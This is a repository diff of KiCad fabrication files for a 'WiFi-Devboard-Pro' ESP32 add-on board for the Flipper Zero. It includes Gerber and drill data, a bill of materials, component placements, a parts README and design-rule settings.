D10*
|
||||
%TO.C,R4*%
|
||||
X117820000Y-91350000D03*
|
||||
X117820000Y-92450000D03*
|
||||
%TD*%
|
||||
D23*
|
||||
%TO.C,C6*%
|
||||
X133100000Y-99040000D03*
|
||||
X133100000Y-99960000D03*
|
||||
%TD*%
|
||||
D24*
|
||||
%TO.C,IC1*%
|
||||
X176560000Y-91100000D03*
|
||||
X175290000Y-91100000D03*
|
||||
X174020000Y-91100000D03*
|
||||
X172750000Y-91100000D03*
|
||||
X171480000Y-91100000D03*
|
||||
X170210000Y-91100000D03*
|
||||
X168940000Y-91100000D03*
|
||||
X167670000Y-91100000D03*
|
||||
X166400000Y-91100000D03*
|
||||
X165130000Y-91100000D03*
|
||||
X163860000Y-91100000D03*
|
||||
X162590000Y-91100000D03*
|
||||
X161320000Y-91100000D03*
|
||||
X160050000Y-91100000D03*
|
||||
D25*
|
||||
X158800000Y-94135000D03*
|
||||
X158800000Y-95405000D03*
|
||||
X158800000Y-96675000D03*
|
||||
X158800000Y-97945000D03*
|
||||
X158800000Y-99215000D03*
|
||||
X158800000Y-100485000D03*
|
||||
X158800000Y-101755000D03*
|
||||
X158800000Y-103025000D03*
|
||||
X158800000Y-104295000D03*
|
||||
X158800000Y-105565000D03*
|
||||
D24*
|
||||
X160050000Y-108600000D03*
|
||||
X161320000Y-108600000D03*
|
||||
X162590000Y-108600000D03*
|
||||
X163860000Y-108600000D03*
|
||||
X165130000Y-108600000D03*
|
||||
X166400000Y-108600000D03*
|
||||
X167670000Y-108600000D03*
|
||||
X168940000Y-108600000D03*
|
||||
X170210000Y-108600000D03*
|
||||
X171480000Y-108600000D03*
|
||||
X172750000Y-108600000D03*
|
||||
X174020000Y-108600000D03*
|
||||
X175290000Y-108600000D03*
|
||||
X176560000Y-108600000D03*
|
||||
D26*
|
||||
X170240000Y-96950000D03*
|
||||
X168840000Y-96950000D03*
|
||||
X167440000Y-96950000D03*
|
||||
X167440000Y-98350000D03*
|
||||
X167440000Y-99750000D03*
|
||||
X168840000Y-99750000D03*
|
||||
X170240000Y-99750000D03*
|
||||
X170240000Y-98350000D03*
|
||||
X168840000Y-98350000D03*
|
||||
%TD*%
|
||||
D27*
|
||||
%TO.C,LED4*%
|
||||
X127200000Y-99100000D03*
|
||||
X128500000Y-99100000D03*
|
||||
%TD*%
|
||||
D11*
|
||||
%TO.C,R2*%
|
||||
X155950000Y-97430000D03*
|
||||
X154850000Y-97430000D03*
|
||||
%TD*%
|
||||
D28*
|
||||
%TO.C,J1*%
|
||||
X143860000Y-101665000D03*
|
||||
X143860000Y-98135000D03*
|
||||
X145130000Y-101665000D03*
|
||||
X145130000Y-98135000D03*
|
||||
X146400000Y-101665000D03*
|
||||
X146400000Y-98135000D03*
|
||||
X147670000Y-101665000D03*
|
||||
X147670000Y-98135000D03*
|
||||
X148940000Y-101665000D03*
|
||||
X148940000Y-98135000D03*
|
||||
%TD*%
|
||||
D23*
|
||||
%TO.C,C5*%
|
||||
X126100000Y-101790000D03*
|
||||
X126100000Y-102710000D03*
|
||||
%TD*%
|
||||
D13*
|
||||
%TO.C,IC5*%
|
||||
X141060000Y-105000000D03*
|
||||
X139140000Y-105000000D03*
|
||||
X140100000Y-107100000D03*
|
||||
%TD*%
|
||||
D29*
|
||||
%TO.C,LED2*%
|
||||
X142800000Y-93050000D03*
|
||||
X142800000Y-94650000D03*
|
||||
%TD*%
|
||||
D30*
|
||||
%TO.C,S2*%
|
||||
X152075000Y-104875000D03*
|
||||
X156225000Y-104875000D03*
|
||||
X152075000Y-107025000D03*
|
||||
X156225000Y-107025000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,C4*%
|
||||
X154930000Y-102150000D03*
|
||||
X155850000Y-102150000D03*
|
||||
%TD*%
|
||||
D31*
|
||||
%TO.C,IC3*%
|
||||
X134200000Y-106700000D03*
|
||||
X134200000Y-104400000D03*
|
||||
X134200000Y-102100000D03*
|
||||
D32*
|
||||
X128000000Y-104400000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,C3*%
|
||||
X179065000Y-90300000D03*
|
||||
X179985000Y-90300000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.C,C8*%
|
||||
X129290000Y-97080000D03*
|
||||
X129290000Y-96160000D03*
|
||||
%TD*%
|
||||
D33*
|
||||
%TO.C,U3*%
|
||||
X138250000Y-92600000D03*
|
||||
X137600000Y-92600000D03*
|
||||
X136950000Y-92600000D03*
|
||||
X136950000Y-94600000D03*
|
||||
X137600000Y-94600000D03*
|
||||
X138250000Y-94600000D03*
|
||||
%TD*%
|
||||
D30*
|
||||
%TO.C,S1*%
|
||||
X152075000Y-92725000D03*
|
||||
X156225000Y-92725000D03*
|
||||
X152075000Y-94875000D03*
|
||||
X156225000Y-94875000D03*
|
||||
%TD*%
|
||||
D11*
|
||||
%TO.C,R1*%
|
||||
X149700000Y-93800000D03*
|
||||
X150800000Y-93800000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.C,C9*%
|
||||
X134420000Y-99050000D03*
|
||||
X134420000Y-99970000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R8*%
|
||||
X131610000Y-97150000D03*
|
||||
X131610000Y-96050000D03*
|
||||
%TD*%
|
||||
%TO.C,R12*%
|
||||
X138400000Y-97150000D03*
|
||||
X138400000Y-96050000D03*
|
||||
%TD*%
|
||||
D34*
|
||||
%TO.C,C1*%
|
||||
X150690000Y-94690000D03*
|
||||
X149770000Y-94690000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R11*%
|
||||
X137200000Y-97150000D03*
|
||||
X137200000Y-96050000D03*
|
||||
%TD*%
|
||||
D14*
|
||||
%TO.C,C10*%
|
||||
X133000000Y-97085000D03*
|
||||
X133000000Y-96165000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R13*%
|
||||
X144350000Y-93300000D03*
|
||||
X144350000Y-94400000D03*
|
||||
%TD*%
|
||||
%TO.C,R14*%
|
||||
X147400000Y-93250000D03*
|
||||
X147400000Y-94350000D03*
|
||||
%TD*%
|
||||
D33*
|
||||
%TO.C,U2*%
|
||||
X134800000Y-92600000D03*
|
||||
X134150000Y-92600000D03*
|
||||
X133500000Y-92600000D03*
|
||||
X133500000Y-94600000D03*
|
||||
X134150000Y-94600000D03*
|
||||
X134800000Y-94600000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R9*%
|
||||
X133790000Y-97140000D03*
|
||||
X133790000Y-96040000D03*
|
||||
%TD*%
|
||||
D33*
|
||||
%TO.C,U1*%
|
||||
X131450000Y-92610000D03*
|
||||
X130800000Y-92610000D03*
|
||||
X130150000Y-92610000D03*
|
||||
X130150000Y-94610000D03*
|
||||
X130800000Y-94610000D03*
|
||||
X131450000Y-94610000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,R3*%
|
||||
X119900000Y-91360000D03*
|
||||
X119900000Y-92460000D03*
|
||||
%TD*%
|
||||
%TO.C,R7*%
|
||||
X130410000Y-97160000D03*
|
||||
X130410000Y-96060000D03*
|
||||
%TD*%
|
||||
D29*
|
||||
%TO.C,LED3*%
|
||||
X145900000Y-93050000D03*
|
||||
X145900000Y-94650000D03*
|
||||
%TD*%
|
||||
M02*
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,17 @@
|
||||
M48
|
||||
; DRILL file {KiCad (6.0.8)} date Mon Jan 2 13:07:49 2023
|
||||
; FORMAT={-:-/ absolute / inch / decimal}
|
||||
; #@! TF.CreationDate,2023-01-02T13:07:49-05:00
|
||||
; #@! TF.GenerationSoftware,Kicad,Pcbnew,(6.0.8)
|
||||
; #@! TF.FileFunction,NonPlated,1,2,NPTH
|
||||
FMAT,2
|
||||
INCH
|
||||
; #@! TA.AperFunction,NonPlated,NPTH,ComponentDrill
|
||||
T1C0.0866
|
||||
%
|
||||
G90
|
||||
G05
|
||||
T1
|
||||
X7.3661Y-3.9331
|
||||
T0
|
||||
M30
|
||||
@@ -0,0 +1,111 @@
|
||||
M48
|
||||
; DRILL file {KiCad (6.0.8)} date Mon Jan 2 13:07:49 2023
|
||||
; FORMAT={-:-/ absolute / inch / decimal}
|
||||
; #@! TF.CreationDate,2023-01-02T13:07:49-05:00
|
||||
; #@! TF.GenerationSoftware,Kicad,Pcbnew,(6.0.8)
|
||||
; #@! TF.FileFunction,Plated,1,2,PTH
|
||||
FMAT,2
|
||||
INCH
|
||||
; #@! TA.AperFunction,Plated,PTH,ViaDrill
|
||||
T1C0.0118
|
||||
; #@! TA.AperFunction,Plated,PTH,ComponentDrill
|
||||
T2C0.0394
|
||||
%
|
||||
G90
|
||||
G05
|
||||
T1
|
||||
X4.4614Y-3.765
|
||||
X4.5118Y-3.5965
|
||||
X4.5709Y-3.6008
|
||||
X4.6618Y-3.9384
|
||||
X4.6626Y-3.5972
|
||||
X4.7831Y-3.5969
|
||||
X4.8949Y-4.1358
|
||||
X4.9528Y-3.8169
|
||||
X4.9618Y-4.1575
|
||||
X5.0913Y-3.6457
|
||||
X5.1081Y-3.7541
|
||||
X5.1299Y-4.1307
|
||||
X5.154Y-4.2442
|
||||
X5.1965Y-3.7252
|
||||
X5.2102Y-3.6665
|
||||
X5.3067Y-3.6839
|
||||
X5.3091Y-3.9748
|
||||
X5.3248Y-3.9185
|
||||
X5.348Y-3.8756
|
||||
X5.3622Y-3.7333
|
||||
X5.3986Y-3.9892
|
||||
X5.4307Y-3.889
|
||||
X5.5819Y-4.0693
|
||||
X5.5823Y-4.1481
|
||||
X5.6075Y-3.8177
|
||||
X5.6398Y-4.0679
|
||||
X5.6827Y-3.6469
|
||||
X5.7224Y-3.7945
|
||||
X5.8028Y-3.6441
|
||||
X5.8382Y-3.7945
|
||||
X5.8528Y-4.1295
|
||||
X5.8933Y-3.8638
|
||||
X5.9689Y-3.6858
|
||||
X6.0043Y-3.6831
|
||||
X6.0236Y-3.5787
|
||||
X6.0335Y-3.9311
|
||||
X6.1004Y-4.0598
|
||||
X6.1528Y-3.6961
|
||||
X6.187Y-3.8358
|
||||
X6.2461Y-4.2352
|
||||
X6.2984Y-3.8134
|
||||
X6.2984Y-4.0606
|
||||
X6.3012Y-3.7535
|
||||
X6.3236Y-4.1185
|
||||
X6.3248Y-3.7756
|
||||
X6.3492Y-3.7091
|
||||
X6.3514Y-4.2116
|
||||
X6.3516Y-3.6752
|
||||
X6.4012Y-3.6277
|
||||
X6.4508Y-4.2323
|
||||
X6.4512Y-3.6277
|
||||
X6.5004Y-4.2106
|
||||
X6.5012Y-3.6277
|
||||
X6.5512Y-3.6277
|
||||
X6.5512Y-4.2323
|
||||
X6.6012Y-3.6277
|
||||
X6.6014Y-4.2323
|
||||
X6.6276Y-4.1134
|
||||
X6.6512Y-3.6277
|
||||
X6.7008Y-4.2323
|
||||
X6.7012Y-3.6277
|
||||
X6.7512Y-4.2276
|
||||
X6.802Y-4.2268
|
||||
X6.8512Y-3.6362
|
||||
X6.8512Y-4.2295
|
||||
X6.9012Y-4.2303
|
||||
X6.9181Y-3.9774
|
||||
X6.9882Y-3.5827
|
||||
X7.0197Y-3.5551
|
||||
X7.1283Y-3.5831
|
||||
T2
|
||||
X5.0933Y-3.537
|
||||
X5.0933Y-4.3283
|
||||
X5.1933Y-3.537
|
||||
X5.1933Y-4.3283
|
||||
X5.2933Y-3.537
|
||||
X5.2933Y-4.3283
|
||||
X5.3933Y-3.537
|
||||
X5.3933Y-4.3283
|
||||
X5.4933Y-3.537
|
||||
X5.4933Y-4.3283
|
||||
X5.5933Y-3.537
|
||||
X5.5933Y-4.3283
|
||||
X5.6933Y-3.537
|
||||
X5.6933Y-4.3283
|
||||
X5.7933Y-3.537
|
||||
X5.7933Y-4.3283
|
||||
X5.8933Y-3.537
|
||||
X5.8933Y-4.3283
|
||||
X5.9933Y-3.537
|
||||
X5.9933Y-4.3283
|
||||
X6.0933Y-3.537
|
||||
X6.0933Y-4.3283
|
||||
T0
|
||||
M30
|
||||
@@ -0,0 +1,127 @@
|
||||
{
|
||||
"Header": {
|
||||
"GenerationSoftware": {
|
||||
"Vendor": "KiCad",
|
||||
"Application": "Pcbnew",
|
||||
"Version": "(6.0.8)"
|
||||
},
|
||||
"CreationDate": "2023-01-02T13:08:22-05:00"
|
||||
},
|
||||
"GeneralSpecs": {
|
||||
"ProjectId": {
|
||||
"Name": "WiFi-Devboard-Pro",
|
||||
"GUID": "57694669-2d44-4657-9662-6f6172642d50",
|
||||
"Revision": "rev?"
|
||||
},
|
||||
"Size": {
|
||||
"X": 78.56,
|
||||
"Y": 20.2
|
||||
},
|
||||
"LayerNumber": 2,
|
||||
"BoardThickness": 1.6,
|
||||
"Finish": "None"
|
||||
},
|
||||
"DesignRules": [
|
||||
{
|
||||
"Layers": "Outer",
|
||||
"PadToPad": 0.127,
|
||||
"PadToTrack": 0.127,
|
||||
"TrackToTrack": 0.127,
|
||||
"MinLineWidth": 0.127,
|
||||
"TrackToRegion": 0.127,
|
||||
"RegionToRegion": 0.127
|
||||
}
|
||||
],
|
||||
"FilesAttributes": [
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-F_Cu.gbr",
|
||||
"FileFunction": "Copper,L1,Top",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-B_Cu.gbr",
|
||||
"FileFunction": "Copper,L2,Bot",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-F_Paste.gbr",
|
||||
"FileFunction": "SolderPaste,Top",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-B_Paste.gbr",
|
||||
"FileFunction": "SolderPaste,Bot",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-F_Silkscreen.gbr",
|
||||
"FileFunction": "Legend,Top",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-B_Silkscreen.gbr",
|
||||
"FileFunction": "Legend,Bot",
|
||||
"FilePolarity": "Positive"
|
||||
},
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-F_Mask.gbr",
|
||||
"FileFunction": "SolderMask,Top",
|
||||
"FilePolarity": "Negative"
|
||||
},
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-B_Mask.gbr",
|
||||
"FileFunction": "SolderMask,Bot",
|
||||
"FilePolarity": "Negative"
|
||||
},
|
||||
{
|
||||
"Path": "WiFi-Devboard-Pro-Edge_Cuts.gbr",
|
||||
"FileFunction": "Profile",
|
||||
"FilePolarity": "Positive"
|
||||
}
|
||||
],
|
||||
"MaterialStackup": [
|
||||
{
|
||||
"Type": "Legend",
|
||||
"Name": "Top Silk Screen"
|
||||
},
|
||||
{
|
||||
"Type": "SolderPaste",
|
||||
"Name": "Top Solder Paste"
|
||||
},
|
||||
{
|
||||
"Type": "SolderMask",
|
||||
"Thickness": 0.01,
|
||||
"Name": "Top Solder Mask"
|
||||
},
|
||||
{
|
||||
"Type": "Copper",
|
||||
"Thickness": 0.035,
|
||||
"Name": "F.Cu"
|
||||
},
|
||||
{
|
||||
"Type": "Dielectric",
|
||||
"Thickness": 1.51,
|
||||
"Material": "FR4",
|
||||
"Name": "F.Cu/B.Cu",
|
||||
"Notes": "Type: dielectric layer 1 (from F.Cu to B.Cu)"
|
||||
},
|
||||
{
|
||||
"Type": "Copper",
|
||||
"Thickness": 0.035,
|
||||
"Name": "B.Cu"
|
||||
},
|
||||
{
|
||||
"Type": "SolderMask",
|
||||
"Thickness": 0.01,
|
||||
"Name": "Bottom Solder Mask"
|
||||
},
|
||||
{
|
||||
"Type": "SolderPaste",
|
||||
"Name": "Bottom Solder Paste"
|
||||
},
|
||||
{
|
||||
"Type": "Legend",
|
||||
"Name": "Bottom Silk Screen"
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
Comment,Designator,Footprint,LCSC
|
||||
"1u","C1","0402",""
|
||||
"22uF","C2,C5","0402",""
|
||||
"100n","C3,C7,C8,C9,C10,C11","0402",""
|
||||
"100nF","C4","0402",""
|
||||
"10uF","C6","0402",""
|
||||
"MountingHole","H1","",""
|
||||
"ESP32-WROOM-32E-N4","IC1","SMD-38P,18x25.5x3.1mm",""
|
||||
"SI2333CDS-T1-E3","IC2,IC4,IC5","SOT-23",""
|
||||
"AZ1117H-3.3TRE1","IC3","SOT-223-3",""
|
||||
"3220-10-0300-00","J1","322010030000",""
|
||||
"X6511WVS-08H-C60D48R1","J2","SMD,P=2.54mm(交错脚)",""
|
||||
"X6511WVS-10H-C60D48R1","J3","HUSRSP10W66P254_2500X250X850P",""
|
||||
"Conn_01x11","J4,J5","SMD,P=2.54mm(交错脚)",""
|
||||
"503398-1892","J6","SMD",""
|
||||
"WS2812B-2020","LED1","WS2812B2020",""
|
||||
"TX","LED2","0603",""
|
||||
"RX","LED3","0603",""
|
||||
"3V3","LED4","0603",""
|
||||
"10k","R1,R6","0402",""
|
||||
"220","R2","0402",""
|
||||
"1K","R3,R4,R5,R13,R14,R15","0402",""
|
||||
"100K","R7,R8,R9,R10,R11,R12","0402",""
|
||||
"SKRPABE010","S1,S2","SMD",""
|
||||
"MMDT2907A-7-F","U1,U2,U3","SOT65P210X110-6N",""
|
||||
|
Binary file not shown.
@@ -0,0 +1,48 @@
|
||||
Designator,Val,Package,Mid X,Mid Y,Rotation,Layer
|
||||
J2,X6511WVS-08H-C60D48R2,HUSRSP8W66P254_2000X250X850P,-127.300000,-102.100000,0.000000,bottom
|
||||
J3,DZ254S-11-10-48,HUSRSP10W66P254_2500X250X850P,-165.400000,-102.100000,0.000000,bottom
|
||||
,,,187.100000,-99.900000,0.000000,top
|
||||
C1,1u,CAPC1005X60N,150.230000,-94.690000,180.000000,top
|
||||
C2,22uF,CAPC1005X80N,181.525000,-90.350000,180.000000,top
|
||||
C3,100n,CAPC1005X55N,179.525000,-90.300000,0.000000,top
|
||||
C4,100nF,CAPC1005X55N,155.390000,-102.150000,0.000000,top
|
||||
C5,22uF,CAPC1005X80N,126.100000,-102.250000,-90.000000,top
|
||||
C6,10uF,CAPC1005X70N,133.100000,-99.500000,-90.000000,top
|
||||
C7,100n,CAPC1005X55N,116.540000,-92.270000,180.000000,top
|
||||
C8,100n,CAPC1005X55N,129.290000,-96.620000,90.000000,top
|
||||
C9,100n,CAPC1005X55N,134.420000,-99.510000,-90.000000,top
|
||||
C10,100n,CAPC1005X55N,133.000000,-96.625000,90.000000,top
|
||||
C11,100n,CAPC1005X55N,136.225000,-96.600000,90.000000,top
|
||||
IC1,ESP32-WROOM-32E-N4,ESP32WROOM32EN4,171.300000,-99.850000,-90.000000,top
|
||||
IC2,DMP1045U-7,SOT96P240X120-3N,127.500000,-93.650000,-90.000000,top
|
||||
IC3,AZ1117H-3.3TRE1,SOT230P700X180-4N,131.100000,-104.400000,180.000000,top
|
||||
IC4,DMP1045U-7,SOT96P240X120-3N,137.250000,-103.425000,-90.000000,top
|
||||
IC5,DMP1045U-7,SOT96P240X120-3N,140.100000,-106.050000,-90.000000,top
|
||||
J1,3220-10-0300-00,322010030000,146.400000,-99.900000,0.000000,top
|
||||
J4,Conn_01x11,PinHeader_1x11_P2.54mm_Vertical,129.370000,-109.940000,90.000000,top
|
||||
J5,Conn_01x11,PinHeader_1x11_P2.54mm_Vertical,129.370000,-89.840000,90.000000,top
|
||||
J6,503398-1892,503398-1892,111.060000,-106.400000,90.000000,top
|
||||
LED1,WS2812B-2020,WS2812B2020,155.400000,-99.800000,90.000000,top
|
||||
LED2,TX,LEDC1608X50N,142.800000,-93.850000,-90.000000,top
|
||||
LED3,RX,LEDC1608X50N,145.900000,-93.850000,-90.000000,top
|
||||
LED4,3V3,19217R6CAL1M2VY3T,127.850000,-99.100000,180.000000,top
|
||||
R1,10k,RESC1005X40N,150.250000,-93.800000,0.000000,top
|
||||
R2,220,RESC1005X40N,155.400000,-97.430000,180.000000,top
|
||||
R3,1K,RESC1005X40N,119.900000,-91.910000,-90.000000,top
|
||||
R4,1K,RESC1005X40N,117.820000,-91.900000,-90.000000,top
|
||||
R5,1K,RESC1005X40N,115.300000,-91.900000,-90.000000,top
|
||||
R6,10k,RESC1005X40N,150.110000,-104.890000,180.000000,top
|
||||
R7,100K,RESC1005X40N,130.410000,-96.610000,90.000000,top
|
||||
R8,100K,RESC1005X40N,131.610000,-96.600000,90.000000,top
|
||||
R9,100K,RESC1005X40N,133.790000,-96.590000,90.000000,top
|
||||
R10,100K,RESC1005X40N,134.960000,-96.590000,90.000000,top
|
||||
R11,100K,RESC1005X40N,137.200000,-96.600000,90.000000,top
|
||||
R12,100K,RESC1005X40N,138.400000,-96.600000,90.000000,top
|
||||
R13,1K,RESC1005X40N,144.350000,-93.850000,-90.000000,top
|
||||
R14,1K,RESC1005X40N,147.400000,-93.800000,-90.000000,top
|
||||
R15,1K,RESC1005X40N,127.050000,-96.950000,0.000000,top
|
||||
S1,SKRPABE010,SKRPABE010,154.150000,-93.800000,0.000000,top
|
||||
S2,SKRPABE010,SKRPABE010,154.150000,-105.950000,0.000000,top
|
||||
U1,MMDT2907A-7-F,SOT65P210X110-6N,130.800000,-93.610000,-90.000000,top
|
||||
U2,MMDT2907A-7-F,SOT65P210X110-6N,134.150000,-93.600000,-90.000000,top
|
||||
U3,MMDT2907A-7-F,SOT65P210X110-6N,137.600000,-93.600000,-90.000000,top
|
||||
|
4660
PCBs/FlipperZero/WiFi-Devboard-Pro/PCB-layout-export.dxf
Normal file
4660
PCBs/FlipperZero/WiFi-Devboard-Pro/PCB-layout-export.dxf
Normal file
File diff suppressed because it is too large
Load Diff
9
PCBs/FlipperZero/WiFi-Devboard-Pro/README.md
Normal file
9
PCBs/FlipperZero/WiFi-Devboard-Pro/README.md
Normal file
@@ -0,0 +1,9 @@
|
||||
# Parts
|
||||
|
||||
- Header Pin x8: [C2883805](https://www.lcsc.com/product-detail/Pin-Headers_XKB-Connectivity-X6511WVS-08H-C60D48R1_C2883805.html)
|
||||
- Header Pin x10: [C2883807](https://www.lcsc.com/product-detail/Pin-Headers_XKB-Connectivity-X6511WVS-10H-C60D48R1_C2883807.html)
|
||||
- Alternative Header: [M20-8771246](https://www.mouser.com/ProductDetail/Harwin/M20-8771246?qs=WS5Jv%252B%252Bx1qWzrNY%252Bb2U9JQ%3D%3D&countryCode=US¤cyCode=USD)
|
||||
- Light Pipe: [PLP2-188](https://www.digikey.com/en/products/detail/bivar-inc/PLP2-188/5721973?utm_medium=email&utm_source=oce&utm_campaign=4251_OCE23RT&utm_content=productdetail_US&utm_cid=2955578&so=79456987&mkt_tok=MDI4LVNYSy01MDcAAAGJOBaFWa7m6RHsJZT6mWcYRd9LRyXmqis92EV7j5ftyM5NuNOSOPqUp292m0P5E3FKrEWCFuvb9fObSzuSvVMsopuOMPjO46ylCAR1IzCL)
|
||||
- M2x6mm Round Top Screw: [97763A407](https://www.mcmaster.com/97763A407/)
|
||||
- M2x8mm Countersunk Screw: [91294A005](https://www.mcmaster.com/91294A005/)
|
||||
- M2 Threaded Insert: [94180A307](https://www.mcmaster.com/94180A307/)
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,75 @@
|
||||
{
|
||||
"board": {
|
||||
"active_layer": 44,
|
||||
"active_layer_preset": "",
|
||||
"auto_track_width": false,
|
||||
"hidden_nets": [
|
||||
"+ext_3V3"
|
||||
],
|
||||
"high_contrast_mode": 0,
|
||||
"net_color_mode": 1,
|
||||
"opacity": {
|
||||
"pads": 1.0,
|
||||
"tracks": 1.0,
|
||||
"vias": 1.0,
|
||||
"zones": 0.6
|
||||
},
|
||||
"ratsnest_display_mode": 0,
|
||||
"selection_filter": {
|
||||
"dimensions": true,
|
||||
"footprints": true,
|
||||
"graphics": true,
|
||||
"keepouts": true,
|
||||
"lockedItems": true,
|
||||
"otherItems": true,
|
||||
"pads": true,
|
||||
"text": true,
|
||||
"tracks": true,
|
||||
"vias": true,
|
||||
"zones": true
|
||||
},
|
||||
"visible_items": [
|
||||
0,
|
||||
1,
|
||||
2,
|
||||
3,
|
||||
4,
|
||||
5,
|
||||
9,
|
||||
10,
|
||||
11,
|
||||
12,
|
||||
13,
|
||||
14,
|
||||
15,
|
||||
16,
|
||||
17,
|
||||
19,
|
||||
20,
|
||||
21,
|
||||
22,
|
||||
23,
|
||||
24,
|
||||
25,
|
||||
26,
|
||||
27,
|
||||
28,
|
||||
29,
|
||||
30,
|
||||
32,
|
||||
33,
|
||||
34,
|
||||
35,
|
||||
36
|
||||
],
|
||||
"visible_layers": "8001130_ffffffff",
|
||||
"zone_display_mode": 1
|
||||
},
|
||||
"meta": {
|
||||
"filename": "WiFi-Devboard-Pro.kicad_prl",
|
||||
"version": 3
|
||||
},
|
||||
"project": {
|
||||
"files": []
|
||||
}
|
||||
}
|
||||
@@ -33,9 +33,9 @@
|
||||
"other_text_thickness": 0.15,
|
||||
"other_text_upright": false,
|
||||
"pads": {
|
||||
"drill": 0.762,
|
||||
"height": 1.524,
|
||||
"width": 1.524
|
||||
"drill": 2.2,
|
||||
"height": 2.2,
|
||||
"width": 2.2
|
||||
},
|
||||
"silk_line_width": 0.15,
|
||||
"silk_text_italic": false,
|
||||
@@ -45,10 +45,16 @@
|
||||
"silk_text_upright": false,
|
||||
"zones": {
|
||||
"45_degree_only": false,
|
||||
"min_clearance": 0.508
|
||||
"min_clearance": 0.09999999999999999
|
||||
}
|
||||
},
|
||||
"diff_pair_dimensions": [],
|
||||
"diff_pair_dimensions": [
|
||||
{
|
||||
"gap": 0.0,
|
||||
"via_gap": 0.0,
|
||||
"width": 0.0
|
||||
}
|
||||
],
|
||||
"drc_exclusions": [],
|
||||
"meta": {
|
||||
"version": 2
|
||||
@@ -56,8 +62,8 @@
|
||||
"rule_severities": {
|
||||
"annular_width": "error",
|
||||
"clearance": "error",
|
||||
"copper_edge_clearance": "error",
|
||||
"courtyards_overlap": "error",
|
||||
"copper_edge_clearance": "ignore",
|
||||
"courtyards_overlap": "ignore",
|
||||
"diff_pair_gap_out_of_range": "error",
|
||||
"diff_pair_uncoupled_length_too_long": "error",
|
||||
"drill_out_of_range": "error",
|
||||
@@ -79,12 +85,12 @@
|
||||
"padstack": "error",
|
||||
"pth_inside_courtyard": "ignore",
|
||||
"shorting_items": "error",
|
||||
"silk_over_copper": "warning",
|
||||
"silk_overlap": "warning",
|
||||
"silk_over_copper": "ignore",
|
||||
"silk_overlap": "ignore",
|
||||
"skew_out_of_range": "error",
|
||||
"through_hole_pad_without_hole": "error",
|
||||
"too_many_vias": "error",
|
||||
"track_dangling": "warning",
|
||||
"track_dangling": "ignore",
|
||||
"track_width": "error",
|
||||
"tracks_crossing": "error",
|
||||
"unconnected_items": "error",
|
||||
@@ -97,23 +103,51 @@
|
||||
"allow_blind_buried_vias": false,
|
||||
"allow_microvias": false,
|
||||
"max_error": 0.005,
|
||||
"min_clearance": 0.0,
|
||||
"min_copper_edge_clearance": 0.0,
|
||||
"min_hole_clearance": 0.25,
|
||||
"min_hole_to_hole": 0.25,
|
||||
"min_clearance": 0.127,
|
||||
"min_copper_edge_clearance": 0.19999999999999998,
|
||||
"min_hole_clearance": 0.254,
|
||||
"min_hole_to_hole": 0.5,
|
||||
"min_microvia_diameter": 0.19999999999999998,
|
||||
"min_microvia_drill": 0.09999999999999999,
|
||||
"min_silk_clearance": 0.0,
|
||||
"min_through_hole_diameter": 0.3,
|
||||
"min_track_width": 0.19999999999999998,
|
||||
"min_through_hole_diameter": 0.19999999999999998,
|
||||
"min_track_width": 0.127,
|
||||
"min_via_annular_width": 0.049999999999999996,
|
||||
"min_via_diameter": 0.39999999999999997,
|
||||
"min_via_diameter": 0.5,
|
||||
"solder_mask_clearance": 0.0,
|
||||
"solder_mask_min_width": 0.0,
|
||||
"use_height_for_length_calcs": true
|
||||
},
|
||||
"track_widths": [],
|
||||
"via_dimensions": [],
|
||||
"track_widths": [
|
||||
0.0,
|
||||
0.127,
|
||||
0.2,
|
||||
0.3,
|
||||
0.5,
|
||||
1.0
|
||||
],
|
||||
"via_dimensions": [
|
||||
{
|
||||
"diameter": 0.0,
|
||||
"drill": 0.0
|
||||
},
|
||||
{
|
||||
"diameter": 0.4,
|
||||
"drill": 0.2
|
||||
},
|
||||
{
|
||||
"diameter": 0.5,
|
||||
"drill": 0.3
|
||||
},
|
||||
{
|
||||
"diameter": 1.0,
|
||||
"drill": 0.5
|
||||
},
|
||||
{
|
||||
"diameter": 2.0,
|
||||
"drill": 1.0
|
||||
}
|
||||
],
|
||||
"zones_allow_external_fillets": false,
|
||||
"zones_use_no_outline": true
|
||||
},
|
||||
@@ -340,7 +374,7 @@
|
||||
"classes": [
|
||||
{
|
||||
"bus_width": 12.0,
|
||||
"clearance": 0.2,
|
||||
"clearance": 0.127,
|
||||
"diff_pair_gap": 0.25,
|
||||
"diff_pair_via_gap": 0.25,
|
||||
"diff_pair_width": 0.2,
|
||||
@@ -350,9 +384,53 @@
|
||||
"name": "Default",
|
||||
"pcb_color": "rgba(0, 0, 0, 0.000)",
|
||||
